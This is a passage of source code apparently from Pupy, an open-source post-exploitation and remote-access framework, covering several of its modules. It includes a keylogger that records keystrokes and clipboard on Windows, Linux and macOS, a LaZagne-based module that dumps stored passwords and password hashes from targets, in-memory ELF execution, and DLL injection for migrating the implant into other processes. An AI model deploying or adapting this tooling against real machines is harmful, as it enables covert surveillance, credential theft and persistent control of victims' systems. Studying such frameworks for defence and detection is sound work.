from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table, TruncateToTerm
from argparse import REMAINDER

from datetime import datetime

if sys.version_info.major > 2:
    xrange = range

__class_name__='IndexSearchModule'


# ZOMG Kill me please
def escape(x):
    if "'" in x:
        x = x.replace("'", "")

    return "'" + x + "'"


@config(cat='gather', compat='windows')
class IndexSearchModule(PupyModule):
    ''' Use Windows Search Index to search for data '''

    dependencies = [
        'win32com', 'win32api', 'winerror',
        'numbers', 'decimal', 'adodbapi', 'isearch'
    ]

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='isearch', description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-L', '--limit', type=int, help='Limit records (default 50)',
            default=50)
        cls.arg_parser.add_argument('-v', '--verbose', action='store_true',
                                    default=False, help='Show SQL query')
        cls.arg_parser.add_argument('-t', '--text', help='Text to search')
        cls.arg_parser.add_argument('-p', '--path', help='Path to search')
        cls.arg_parser.add_argument('-d', '--directory', help='Directory to limit output')
        cls.arg_parser.add_argument(
            '-R', '--raw', metavar='SELECT ... FROM SYSTEMINDEX ...',
            nargs=REMAINDER, help='RAW SQL Query to search '\
            '(https://docs.microsoft.com/en-us/windows/'\
            'desktop/search/-search-3x-advancedquerysyntax)')

    def run(self, args):
        query = self.client.remote('isearch', 'query')

        request = []
        if args.raw:
            request = args.raw
        else:
            request.append('SELECT TOP {} System.ItemUrl, System.Size, System.DateModified FROM SYSTEMINDEX'.format(args.limit))
            where = []
            if args.text:
                where.append('FREETEXT({})'.format(escape(args.text)))
            if args.directory:
                where.append('SCOPE={}'.format(escape('file:'+args.directory)))
            if args.path:
                where.append('CONTAINS(System.FileName, {})'.format(escape(args.path)))

            if where:
                request.append('WHERE')
                request.append('AND'.join(where))

            request.append('ORDER BY System.DateModified DESC')

        if not request:
            self.error('You should specify request')
            return

        text = ' '.join(request)

        if args.verbose:
            self.info('QUERY: {}'.format(text))

        idx, cidx, data, error = query(text, args.limit)
        if error:
            self.error(error)
        elif not data:
            self.warning('No data found')
        else:
            objects = []
            header = []
            legend = True

            if args.raw:
                legend = False
                for record in data:
                    objects.append({
                        str(idx):v for idx,v in enumerate(record)
                    })
                header = [
                    str(x) for x in xrange(cidx+1)
                ]
            else:
                header = ['File', 'Size', 'Modified']
                for record in data:
                    objects.append({
                        'File': record[0][5:] if record[0].startswith('file:') else record[0],
                        'Size': record[1],
                        'Modified': datetime.fromtimestamp(record[2])
                    })

            self.log(TruncateToTerm(Table(objects, header, legend=legend)))


================================================
FILE: pupy/modules/keylogger.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.network.lib.convcompat import as_unicode_string

from io import open

KEYLOGGER_EVENT = 0x11000001

__class_name__ = 'KeyloggerModule'
__events__ = {
    KEYLOGGER_EVENT: 'keylogger'
}


@config(cat="gather", compat=["linux", "darwin", "windows"])
class KeyloggerModule(PupyModule):
    """
        A keylogger to monitor all keyboards interaction including the clipboard :-)
        The clipboard is also monitored and the dump includes the window name in which the keys are beeing typed
    """

    unique_instance = True
    dependencies = {
        'windows': ['pupwinutils.keylogger', 'pupwinutils.hookfuncs'],
        'linux': ['keylogger'],
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='keylogger', description=cls.__doc__)
        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])

    def stop_daemon(self):
        self.success("keylogger stopped")

    def run(self, args):

        if args.action=="start":
            if self.client.is_windows():
                keylogger_start = self.client.remote('pupwinutils.keylogger', 'keylogger_start', False)
                if not keylogger_start(KEYLOGGER_EVENT):
                    self.error("the keylogger is already started")
                else:
                    self.success("keylogger started !")

            elif self.client.is_linux():
                keylogger_start = self.client.remote('keylogger', 'keylogger_start', False)

                r = keylogger_start(KEYLOGGER_EVENT)
                if r == 'no_x11':
                    self.error("the keylogger does not work without x11 graphical interface")
                elif not r:
                    self.error("the keylogger is already started")
                else:
                    self.success("keylogger started !")

            # for Mac OS
            elif self.client.is_darwin():
                keylogger_start = self.client.remote('keylogger', 'keylogger_start', False)

                r = keylogger_start(KEYLOGGER_EVENT)
                if r == 'running':
                    self.error("the keylogger is already started")
                elif not r:
                    self.error("the keylogger cannot be launched")
                else:
                    self.success("keylogger started !")

        elif args.action=="dump":
            if self.client.is_windows():
                keylogger_dump = self.client.remote('pupwinutils.keylogger', 'keylogger_dump')
            else:
                keylogger_dump = self.client.remote('keylogger', 'keylogger_dump')

            data = keylogger_dump()

            if data is None:
                self.error("keylogger not started")

            elif not data:
                self.warning("no keystrokes recorded")

            else:
                filepath = self.config.get_file('keystrokes', {'%c': self.client.short_name()})

                self.success("dumping recorded keystrokes in %s"%filepath)
                self.log(data)

                with open(filepath, 'w') as f:
                    f.write(as_unicode_string(data))

        elif args.action=="stop":
            if self.client.is_windows():
                keylogger_stop = self.client.remote('pupwinutils.keylogger', 'keylogger_stop')
            else:
                keylogger_stop = self.client.remote('keylogger', 'keylogger_stop')

            data = keylogger_stop()

            if data:
                self.log(data)

            self.success("keylogger stopped")


================================================
FILE: pupy/modules/last.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Color
from datetime import datetime, timedelta

import logging

__class_name__="LastModule"

@config(cat='admin', compat=['linux', 'windows'])
class LastModule(PupyModule):
    """ list terminal sessions """

    dependencies = {
        'linux': ['pupyps'],
        'windows': ['readlogs', 'pupwinutils.security']
    }

    is_module=False

    @classmethod
    def init_argparse(cls):
        arg_parser = PupyArgumentParser(prog="last", description=cls.__doc__)
        duration = arg_parser.add_mutually_exclusive_group()
        duration.add_argument('-n', '--lines', type=int, help='Get only (n) last records')
        duration.add_argument('-d', '--days', type=int, help='Get only records for last (n) days')
        filtering = arg_parser.add_mutually_exclusive_group()
        filtering.add_argument('-x', '--exclude', nargs='+', help='Hide users/hosts/ips')
        filtering.add_argument('-i', '--include', nargs='+', help='Show users/hosts/ips')
        cls.arg_parser = arg_parser

    def run(self, args):
        try:
            wtmp = None

            is_windows = False

            if self.client.is_windows():
                wtmp = self.client.remote('readlogs', 'lastlog')
                is_windows = True
            else:
                wtmp = self.client.remote('pupyps', 'wtmp')

            data = wtmp()

            now = data['now']
            output = []

            for record in data['records']:
                if args.days and (record['start'] + args.days*24*60*60 < now):
                    break

                if args.exclude and any([x in args.exclude for x in record.values()]):
                    continue

                if args.include and not any([x in args.include for x in record.values()]):
                    continue

                if not is_windows and record['type'] not in ('boot', 'process'):
                    continue

                color = ''
                if record['end'] == -1:
                    if record['user'] == 'root':
                        color = 'lightred'
                    elif record['duration'] < 60*60:
                        color = 'lightgreen'
                    elif record['duration'] > 7*24*60*60:
                        color = 'cyan'
                elif record['user'] == 'root':
                    color = 'yellow'
                elif record['end'] > 24*60*60:
                    color = 'grey'
                elif record['end'] > 7*24*60*60:
                    color = 'darkgrey'

                if record['type'] == 'boot':
                    color = 'yellow'

                record['start'] = datetime.fromtimestamp(record['start'])
                record['end'] = datetime.fromtimestamp(
                    record['end']
                ) if record['end'] is not None and record['end'] != -1 else 'logged in'
                record['duration'] = timedelta(seconds=int(record['duration']))
                record['ip'] = '' if record['ip'] == '0.0.0.0' else record['ip']

                if record['type'] == 'boot' and record['end'] == 'logged in':
                    record['end'] = 'up'

                for f in record:
                    if record[f]:
                        record[f] = Color(str(record[f]), color)

                output.append(record)

                if args.lines and len(output) >= args.lines:
                    break

            columns = [
                x for x in [
                    'user', 'line', 'pid', 'host', 'ip', 'start', 'end', 'duration'
                ] if any((x in y and y[x]) for y in output)
            ]

            self.table(output, columns)

        except Exception as e:
            logging.exception(e)


================================================
FILE: pupy/modules/lazagne.py
================================================
# -*- coding: utf-8 -*-
# Author: AlessandroZ

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Color, NewLine, Section, Hex
from pupy.pupylib.utils.credentials import Credentials
from pupy.pupylib.utils.rpyc_utils import obtain

from pupy.network.lib.convcompat import as_unicode_string_deep, is_binary

import codecs
import ntpath
import traceback

__class_name__ = 'LaZagne'


@config(cat="creds", compat=["linux", "windows"])
class LaZagne(PupyModule):
    """
        retrieve passwords stored on the target
    """

    dependencies = {
        'all': [
            'whole', 'sqlite3', 'xml', 'calendar',
            'ConfigParser', 'lazagne', 'pyasn1'
        ],
        'linux': [
            'secretstorage', 'crypt'
        ],
        'windows': [
            'sqlite3.dll', 'pypykatz'
        ],
    }

    FILTER = ''.join([
        (len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)
    ])

    TYPESMAP = {
        'password': 'plaintext',
        'hash': 'hash',
        'key': 'key',
        'cmd': 'cmd',
        'defaultpassword': 'lsa'
    }

    NON_TABLE = set([
        'Ssh', 'Secretstorage', 'Libsecret', 'Cli', 'Credman'
    ])

    FILTER_COLUMNS = set([
        'CredType', 'Category', 'SavePassword'
    ])

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='lazagne', description=cls.__doc__
        )

        cls.arg_parser.add_argument(
            '-p', '--password', help='Specify user password (windows only)'
        )

        cls.arg_parser.add_argument(
            '-d', '--debug', default=False, action='store_true',
            help='Redirect debug prints'
        )

        cls.arg_parser.add_argument(
            'category', nargs='?', help='specify category', default='all'
        )

    def run(self, args):
        write_output = None
        print_debug = None

        try:
            if args.debug:
                write_output = self.client.remote(
                    'lazagne.config.write_output')

                print_debug = write_output.print_debug

                def _log(level, message):
                    message = str(message).strip()
                    self.log('{} | {}'.format(level, message.strip()))

                write_output.print_debug = _log

            self._run(args)

        finally:
            if write_output and print_debug:
                write_output.print_debug = print_debug

    def _run(self, args):
        db = Credentials(client=self.client, config=self.config)

        whole = self.client.remote('whole', 'to_strings_list', False)
        runLaZagne = self.client.remote(
            'lazagne.config.run', 'run_lazagne', False)

        first_user = True
        passwordsFound = False

        kwargs = {
            'raise_on_exception': False,
        }

        if args.category:
            kwargs['category_selected'] = args.category

        if args.password and self.client.is_windows():
            kwargs['password'] = args.password

        results = obtain(whole(runLaZagne, **kwargs))

        for r in results:
            r = as_unicode_string_deep(r, fail=False)

            if r[0] == 'User':
                if not passwordsFound and not first_user:
                    self.warning('no passwords found !')

                first_user = False
                passwordsFound = False
                user = r[1]

                self.log(Section('User: ' + user))

            elif r[2]:
                passwordsFound = True
                try:
                    self.print_results(r[0], r[1], r[2], db)
                except Exception as e:
                    self.error(
                        '{}: {}: {}'.format(r[1], e, traceback.format_exc())
                    )

        if not passwordsFound:
            self.warning('no passwords found !')

    def hashdump_to_dict(self, creds):
        results = []

        for cred in creds:
            for pwd in cred:
                try:
                    user, rid, lm, nt, _, _, _ = pwd.split(':')
                    results.append({
                        'Category': 'hashdump',
                        'CredType': 'hash',
                        'Login': user,
                        'Hash': '%s:%s' % (str(lm), str(nt))
                    })
                except Exception:
                    pass

        return results

    def cachedump_to_dict(self, creds):
        results = []

        for cred in creds:
            for pwd in cred[0]:
                try:
                    user, d, dn, h = pwd.split(':')
                    results.append({
                        'Category': 'cachedump',
                        'CredType': 'hash',
                        'Login': user,
                        'Hash': '%s:%s:%s:%s' % (
                            user.lower(), h.encode('hex'),
                            d.lower(), dn.lower()
                        )
                    })
                except Exception:
                    pass

        return results

    def credfiles_to_dict(self, creds):
        for cred in creds:
            filename = cred['File']
            parts = ntpath.abspath(filename).split('\\')
            # Common format
            if len(parts) == 8 and parts[1].lower() == 'users' and \
                    parts[3].lower() == 'appdata':
                filename = u'{}:{}'.format(parts[2], parts[-1])
                cred['File'] = filename

            for field in ('Username', 'Domain', 'Password'):
                cred[field] = cred[field].strip('\x00')

                if is_binary(cred[field]):
                    cred[field] = Hex(cred[field])

            if cred['Domain'].startswith('Domain:'):
                cred['Domain'] = cred['Domain'][7:]

            cred.update({
                'CredType': 'plaintext',
                'Category': 'Credfiles'
            })

        return creds

    def creds_to_dict(self, creds, module):
        try:
            if module.lower() == 'hashdump':
                return self.hashdump_to_dict(creds)
            elif module.lower() == 'cachedump':
                return self.cachedump_to_dict(creds)
            elif module.lower() == 'credfiles':
                return self.credfiles_to_dict(creds)
        except Exception:
            traceback.print_exc()
            return []

        results = []

        if type(creds) == str:
            raise Exception(creds)

        for cred in creds:
            if isinstance(cred, dict):
                result = {
                    'Category': module
                }

                for c in cred:
                    result[c] = cred[c].strip()

                    for t, name in self.TYPESMAP.items():
                        if t in set([x.lower() for x in result]):
                            result['CredType'] = name

                    if not result.get('CredType'):
                        result['CredType'] = 'empty'

                    results.append(result)

        return results

    def prepare_fields(self, items, remove=[]):
        if not items:
            return [], []

        data = [
            {
                k: v for k, v in item.items() if k not in remove
            } for item in items
        ]

        columns = set()
        for item in items:
            for column in item:
                if column not in remove:
                    columns.add(column)

        return data, columns

    def filter_same(self, creds):
        return [
            dict(t) for t in frozenset([
                tuple(d.items()) for d in creds
            ])
        ]

    def print_lsa(self, creds):
        for idx, cred in enumerate(creds):
            for name, value in cred.items():
                if name in ('Category', 'CredType'):
                    continue

                if idx:
                    self.log(NewLine(lines=0))

                self.log(name)
                self.log(Hex(value))

    def print_results(self, success, module, creds, db):
        if not success:
            self.error(str(creds))
            return

        if not creds or all(not cred for cred in creds):
            return

        self.log(Section('Module: ' + module, level=1))

        creds = self.filter_same(
            self.creds_to_dict(creds, module)
        )

        if module.lower() == 'lsa_secrets':
            self.print_lsa(creds)
        else:
            if module not in self.NON_TABLE:
                self.table(
                    *self.prepare_fields(
                        creds, remove=self.FILTER_COLUMNS))
            else:
                for cred in creds:
                    self.table(
                        [
                            {
                                'KEY': k, 'VALUE': Hex(v)
                                if is_binary(v) else v
                            } for k, v in cred.items()
                            if k not in self.FILTER_COLUMNS
                        ], [
                            'KEY', 'VALUE'
                        ],
                        truncate=True, legend=False, vspace=1
                    )

        try:
            db.add(creds)
        except Exception:
            self.error(traceback.format_exc())

        self.log(NewLine(lines=0))


================================================
FILE: pupy/modules/lib/__init__.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from datetime import datetime

import sys


def size_human_readable(num, suffix=''):
    try:
        num = int(num)
        for unit in [suffix or 'B','K','M','G','T','P','E','Z']:
            if abs(num) < 1024.0:
                return "%3.1f%s%s" % (num, unit, suffix)
            num /= 1024.0
        return "%.1f%s%s" % (num, 'Yi', suffix)
    except:
        return '0.0B'


def file_timestamp(timestamp, time=False):
    try:
        d = datetime.fromtimestamp(timestamp)
        if time:
            return str(d.strftime('%d/%m/%y %H:%M:%S'))
        else:
            return str(d.strftime('%d/%m/%y'))
    except:
        return '00/00/00'


================================================
FILE: pupy/modules/lib/linux/__init__.py
================================================


================================================
FILE: pupy/modules/lib/linux/exec_elf.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from io import open

import zlib
import threading

from pupy.modules.lib.utils.cmdrepl import CmdRepl

def mexec(module, path, argv, argv0=None, interactive=False, raw=False, codepage=None):
    data = zlib.compress(path if raw else open(path, 'rb').read())

    MExec = module.client.remote('memexec', 'MExec', False)

    module.mp = MExec(
        data, argv0, args = argv,
        no_stdin = not interactive,
        no_stdor = not interactive,
        redirect_stdio = interactive,
        compressed = True,
        terminate = interactive
    )

    complete = threading.Event()

    if interactive:
        repl, _ = CmdRepl.thread(
            module.stdout,
            module.mp.write,
            complete,
            False, None,
            codepage
        )

        module.client.conn.register_remote_cleanup(
            module.mp.close
        )

        if module.mp.execute(complete.set, repl._con_write):
            complete.wait()
            module.mp.close()

            module.client.conn.unregister_remote_cleanup(
                module.mp.close
            )

            module.success('Process exited. Press ENTER')
        else:
            complete.set()
            module.error('Launch failed. Press ENTER')

    else:
        if module.mp.run():
            module.success('Process started: {}'.format(module.mp.pid))
        else:
            module.error('Launch failed')


================================================
FILE: pupy/modules/lib/linux/migrate.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.cli import pupygen
import time
import gzip

from io import open
import sys

if sys.version_info.major > 2:
    xrange = range
    from io import BytesIO
else:
    from StringIO import StringIO as BytesIO


def has_proc_migrated(client, pid):
    for c in client.pupsrv.clients:
        if all([
            True for x in c.desc if x in [
                "hostname",
                "platform",
                "release",
                "version",
                "macaddr"
            ] and client.desc[x]==c.desc[x]
        ]):
            if int(c.desc["pid"])==pid:
                return c
    return None


def get_payload(module, compressed=True, debug=False, from_payload=None):
    dllbuff = None
    if from_payload:
        with open(from_payload, 'rb') as payload:
            dllbuff = payload.read()

        module.success('Precompiled payload: {}'.format(from_payload))
    else:
        conf = module.client.get_conf()
        dllbuff, _, _ = pupygen.generate_binary_from_template(
            module.log,
            conf, module.client.target, shared=True
        )

    if not compressed:
        return dllbuff

    dllgzbuf = BytesIO()
    gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf)
    gzf.write(dllbuff)
    gzf.close()

    return dllgzbuf.getvalue()


def wait_connect(module, pid, timeout=10):
    module.success("waiting for a connection from the DLL ...")
    for x in xrange(timeout):
        c = has_proc_migrated(module.client, pid)
        if c:
            module.success("got a connection from migrated DLL !")
            c.pupsrv.move_id(c, module.client)
            time.sleep(0.5)
            try:
                module.success("exiting old connection")
                module.client.conn.exit()
                module.success("exited old connection")
            except Exception:
                pass

            break

        time.sleep(1)


def ld_preload(module, command, wait_thread=False, keep=False, debug=False, from_payload=None):
    payload = get_payload(module, debug, from_payload=from_payload)

    pid = module.client.conn.modules['pupy.agent'].ld_preload_inject_dll(
        command, payload, wait_thread
    )

    if pid == -1:
        module.error('Inject failed')
        return
    else:
        module.success('Process created: {}'.format(pid))

    if not keep:
        wait_connect(module, pid)

    module.success("migration completed")


def migrate(module, pid, keep=False, timeout=10, debug=False, from_payload=None):
    payload = get_payload(module, debug, from_payload=from_payload)

    r = module.client.conn.modules['pupy.agent'].reflective_inject_dll(
        pid, payload
    )

    if r:
        module.success("DLL injected !")
    else:
        module.error("Injection failed !")
        return

    if not keep:
        wait_connect(module, pid, timeout=timeout)

    module.success("migration completed")


================================================
FILE: pupy/modules/lib/utils/__init__.py
================================================


================================================
FILE: pupy/modules/lib/utils/cmdrepl.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from threading import Thread
from cmd import Cmd

class CmdRepl(Cmd):
    def __init__(self, stdout, write_cb, completion, CRLF=False, interpreter=None, codepage=None):
        self._write_cb = write_cb
        self._complete = completion
        self._codepage = None # codepage
        self.prompt = '\r'
        self._crlf = (b'\r\n' if CRLF else b'\n')
        self._interpreter = interpreter
        self._setting_prompt = False
        self._last_cmd = None
        Cmd.__init__(self, stdout=stdout)

    @staticmethod
    def thread(*args, **kwargs):
        repl = CmdRepl(*args, **kwargs)
        repl.set_prompt()

        repl_thread = Thread(target=repl.cmdloop)
        repl_thread.daemon = True
        repl_thread.start()

        return repl, repl_thread

    def _con_write(self, data):
        if self._setting_prompt:
            if self.prompt in data:
                self._setting_prompt = False
            return

        if not self._complete.is_set():
            if self._codepage:
                data = data.decode(self._codepage, errors='replace')

            self.stdout.write(data)
            self.stdout.flush()
            if b'\n' in data:
                self.prompt = data.decode('utf8').rsplit('\n', 1)[-1]
            else:
                self.prompt += data.decode('utf8')

    def do_EOF(self, line):
        return True

    def do_help(self, line):
        self.default(b' '.join([b'help', line]))

    def completenames(self):
        return []

    def precmd(self, line):
        if self._complete.is_set():
            return 'EOF'
        else:
            return line

    def postcmd(self, stop, line):
        if stop or self._complete.is_set():
            return True

    def emptyline(self):
        pass

    def default(self, line):
        if self._codepage:
            line = line.decode('utf-8').encode(self._codepage)
        line=line.encode('utf8')

        self._write_cb(line + self._crlf)
        self.prompt = ''

    def postloop(self):
        self._complete.set()

    def set_prompt(self, prompt='# '):
        methods = {
            'cmd.exe': [b'set PROMPT='+(prompt.encode('utf8'))],
            'sh': [b'export PS1="'+(prompt.encode('utf8'))+b'"']
        }

        method = methods.get(self._interpreter, None)
        if method:
            self._setting_prompt = True
            self.prompt = prompt
            self._write_cb(self._crlf.join(method) + self._crlf)


================================================
FILE: pupy/modules/lib/utils/download.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from threading import Event

import sys

if sys.version_info.major > 2:
    from queue import Queue, Empty
    from io import BytesIO

    xrange = range
else:
    from Queue import Queue, Empty
    from StringIO import StringIO as BytesIO

from io import open

import tarfile
import tempfile

import stat
import os
import os.path
import zlib
import errno
import umsgpack

FIELDS_MAP = {
    x:y for x,y in enumerate([
        'st_mtime', 'st_gid', 'st_uid', 'st_mode', 'st_rdev'
    ])
}

F_TYPE     = 0
F_PATH     = 1
F_FILES    = 2
F_SIZE     = 3
F_DATA     = 4
F_EXC      = 5
F_STAT     = 6
F_ROOT     = 7

T_SIZE     = 0
T_FILE     = 1
T_CONTENT  = 2
T_ZCONTENT = 3
T_SPARSE   = 4
T_CLOSE    = 5
T_C_EXC    = 6
T_DIRVIEW  = 7
T_EXC      = 8
T_FINISH   = 9

D_ROOT     = 0
D_DIRS     = 1
D_SYMS     = 2
D_HARDS    = 3
D_SPECIALS = 4
D_EMPTY    = 5
D_FILES    = 6

class DownloadFronted(object):
    def __init__(self, client, exclude=None, include=None, follow_symlinks=False,
                 ignore_size=False, no_single_device=False,
                     honor_single_file_root=False, verbose=None, success=None, error=None):

        self.client = client

        self._exclude = exclude
        self._include = include
        self._follow_symlinks = follow_symlinks
        self._ignore_size = ignore_size
        self._no_single_device = no_single_device
        self._honor_single_file_root = honor_single_file_root

        self._verbose = verbose
        self._success = success
        self._error = error

        self._completed = Event()
        self._terminate = None
        self._local_path = None
        self._remote_path = None
        self._files_count = None
        self._files_size = None
        self._last_directory = None
        self._current_file = None
        self._current_file_name = None
        self._current_file_dir = ''
        self._current_file_dir_raw = ''
        self._download_dir = None
        self._pending_symlinks = {}
        self._pending_metadata = {}
        self._archive = None
        self._archive_file = None
        self._queue = Queue()

        self._last_downloaded_dest = None

        self._transfer_stop = None

    def du(self, remote_file, obj):
        self._terminate = obj.du(
            remote_file, self._submit_message, self._exclude, self._include,
            self._follow_symlinks, self._no_single_device)

        self._process_queue()
        self._terminate = None

        if self._files_count is not None and self._files_size is not None:
            return self._files_count, self._files_size
        else:
            return None, None

    def _setup_context(self, remote_file, local_file, archive):
        if local_file:
            local_file = os.path.expandvars(local_file)

            if os.path.isdir(local_file):
                self._download_dir = local_file
            else:
                self._local_path = local_file
        else:
            filesdir = self.client.pupsrv.config.get_folder(
                'downloads', {'%c': self.client.short_name()})

            self._download_dir = filesdir

        if self._download_dir:
            if not os.path.exists(self._download_dir):
                os.makedirs(self._download_dir)

            self._last_directory = self._download_dir
        else:
            top_dir = os.path.dirname(self._local_path)
            if not os.path.isdir(top_dir):
                os.makedirs(top_dir)

        if archive:
            if self._download_dir and remote_file:
                archive = remote_file.replace('/', '!').replace('\\', '!')
                while True:
                    if archive.startswith('!'):
                        archive = archive[1:]
                    elif archive.endswith('!'):
                        archive = archive[:-1]
                    else:
                        break

                archive += '.tgz'
                archive = os.path.join(self._download_dir, archive)
            else:
                archive = self._local_path

            if os.path.isfile(archive):
                os.unlink(archive)

            self._archive_file = archive
            self._archive = tarfile.open(self._archive_file, mode='w:gz')

    @property
    def dest_file(self):
        return self._archive_file or self._last_downloaded_dest \
            or self._download_dir or self._local_path

    def download(self, remote_file,
            local_file=None, archive=False, chunk_size=1*1024*1024):

        self._setup_context(remote_file, local_file, archive)

        transfer = self.client.remote('transfer', 'transfer', False)
        self._terminate = transfer(
            remote_file, self._submit_message, self._exclude, self._include,
            self._follow_symlinks, self._ignore_size, self._no_single_device, chunk_size)

        if self._verbose:
            if self._archive:
                self._verbose('Download: {} -> tgz:{}'.format(
                    remote_file, self.dest_file))
            else:
                self._verbose('Download: {} -> {}'.format(
                    remote_file, self.dest_file))

        self.process()
        self._terminate = None

    def create_download_callback(self, local_file=None, archive=False):
        self._setup_context(None, local_file, archive)

        transfer_closure = self.client.remote('transfer', 'transfer_closure', False)

        closure, self._transfer_stop, self._terminate = transfer_closure(
            self._submit_message, self._exclude, self._include,
            self._follow_symlinks, self._ignore_size, self._no_single_device)

        return closure, self._transfer_stop

    def stop(self):
        if self._transfer_stop:
            self._transfer_stop()
            self._transfer_stop = None

    def process(self):
        self._process_queue()
        if self._archive:
            self._archive.close()
            self._archive = None

    def _process_queue(self):
        while not self._completed.is_set():
            data, exception = self._queue.get()
            self._callback(data, exception)

    def _submit_message(self, data, exception):
        if not self._completed.is_set():
            self._queue.put((data, exception))

    def _callback(self, data, exception):
        try:
            self._callback_unsafe(data, exception)
        except Exception as e:
            if self._error:
                import traceback
                self._error('Internal error: {} / {}'.format(e, traceback.format_exc()))

            if self._terminate:
                self._terminate()

    def _callback_unsafe(self, data, exception):
        if self._completed.is_set():
            return

        if exception and self._error:
            self._error('{}'.format(exception))

        if not data:
            self._completed.set()

        else:
            data = BytesIO(data)

            while not self._completed.is_set():
                try:
                    msg = umsgpack.unpack(data)
                except umsgpack.InsufficientDataException:
                    break

                self._handle_msg(msg)

    def _split_path(self, path):
        _path = []
        for portion in path.split('/'):
            _path.append(portion)

        path = _path
        _path = []

        for p in path:
            for portion in p.split('\\'):
                _path.append(portion)

        return _path

    def _check_path(self, path):
        return os.path.sep.join(self._check_name(p) for p in self._split_path(path) if p)

    def _check_name(self, name):
        if os.path.sep in name or name == '..':
            raise ValueError('Invalid path: {}'.format(name))
        return name

    def _get_path(self, msg):
        path = ''
        msgtype = msg[F_TYPE]

        if msgtype == T_DIRVIEW:
            path = msg[F_DATA][D_ROOT]
        elif msgtype == T_FILE:
            if F_ROOT in msg and self._honor_single_file_root:
                path = msg[F_ROOT]

            if F_PATH in msg:
                path = os.path.join(path, msg[F_PATH])
        else:
            raise ValueError('Invalid Message passed to _get_path')

        return self._check_path(path)

    def _meta(self, meta):
        return {
            FIELDS_MAP[x]:y for x,y in enumerate(meta)
        }

    def _handle_msg(self, msg):
        msgtype = msg[F_TYPE]

        if msgtype == T_SIZE:
            self._files_count = msg[F_FILES]
            self._files_size = msg[F_SIZE]
            self._remote_path = msg[F_PATH]

        elif msgtype == T_FILE:
            if self._current_file:
                raise ValueError('Invalid order of messages')

            self._current_file_name = self._get_path(msg)

            if F_STAT in msg:
                self._pending_metadata[self._current_file_name] = msg[F_STAT]

            if self._last_directory:
                filepath = self._current_file_name
                filepath = os.path.join(self._last_directory, filepath)
            else:
                filepath = self._local_path

            if F_ROOT in msg:
                if self._honor_single_file_root and not self._archive:
                    try:
                        os.makedirs(os.path.dirname(filepath))
                    except OSError as e:
                        if e.errno != errno.EEXIST:
                            if self._error:
                                self._error('{}: {}'.format(filepath, e))
                    except Exception as e:
                        if self._error:
                            self._error('{}: {}'.format(filepath, e))

                self._last_downloaded_dest = filepath

            if self._archive:
                self._current_file = tempfile.TemporaryFile()
                if self._verbose:
                    self._verbose('{}'.format(self._current_file_name))
            else:
                filedir = os.path.dirname(filepath)

                # Workaround for archives unpacking
                if not os.path.isdir(filedir):
                    if os.path.isfile(filedir):
                        os.unlink(filedir)

                    os.makedirs(filedir)

                self._current_file = open(filepath, 'wb')

                if self._verbose:
                    self._verbose('{}'.format(filepath))

        elif msgtype == T_SPARSE:
            if not self._current_file:
                raise ValueError('Invalid order of messages')

            zeros = msg[F_DATA]
            self._current_file.seek(zeros-1, os.SEEK_CUR)
            self._current_file.write('\0')

        elif msgtype in (T_CONTENT, T_ZCONTENT):
            if not self._current_file:
                raise ValueError('Invalid order of messages')

            content = msg[F_DATA]
            if msgtype == T_ZCONTENT:
                content = zlib.decompress(content)

            self._current_file.write(content)

        elif msgtype == T_EXC:
            if self._error:
                self._error('Error: {}/{}'.format(msg[F_EXC], msg[F_DATA]))

        elif msgtype == T_FINISH:
            if self._success:
                self._success('Completed: {} -> {}'.format(
                    msg[F_DATA], self.dest_file))

        elif msgtype in (T_CLOSE, T_C_EXC):
            if not self._current_file:
                raise ValueError('Invalid order of messages')

            if self._archive:
                self._current_file.flush()
                size = self._current_file.tell()

                info = tarfile.TarInfo()
                info.type = tarfile.REGTYPE
                info.name = os.path.join(self._current_file_dir, self._current_file_name)
                info.size = size

                if self._current_file_name in self._pending_metadata:
                    meta = self._meta(self._pending_metadata[self._current_file_name])
                    info.mtime = meta['st_mtime']
                    info.mode = meta['st_mode']
                    info.uid = meta['st_uid']
                    info.gid = meta['st_gid']

                self._current_file.seek(0, os.SEEK_SET)
                self._archive.addfile(info, self._current_file)

            self._current_file.close()
            self._current_file = None

            if self._current_file_name in self._pending_metadata:
                del self._pending_metadata[self._current_file_name]

            if msgtype == T_C_EXC:
                if self._verbose:
                    self._verbose('{} - {}'.format(msg[F_DATA], msg[F_EXC]))

        elif msgtype == T_DIRVIEW:
            dirview = msg[F_DATA]
            self._current_file_dir = self._get_path(msg)
            self._current_file_dir_raw = dirview[D_ROOT]

            if not self._archive:
                if not self._download_dir:
                    self._download_dir = self._local_path

                self._last_directory = os.path.join(
                    self._download_dir, self._current_file_dir)

                if not os.path.isdir(self._last_directory):
                    os.makedirs(self._last_directory)

            for d, meta in dirview[D_DIRS]:
                meta = self._meta(meta)

                if self._archive:
                    info = tarfile.TarInfo()
                    info.name = os.path.join(self._current_file_dir, self._check_name(d))
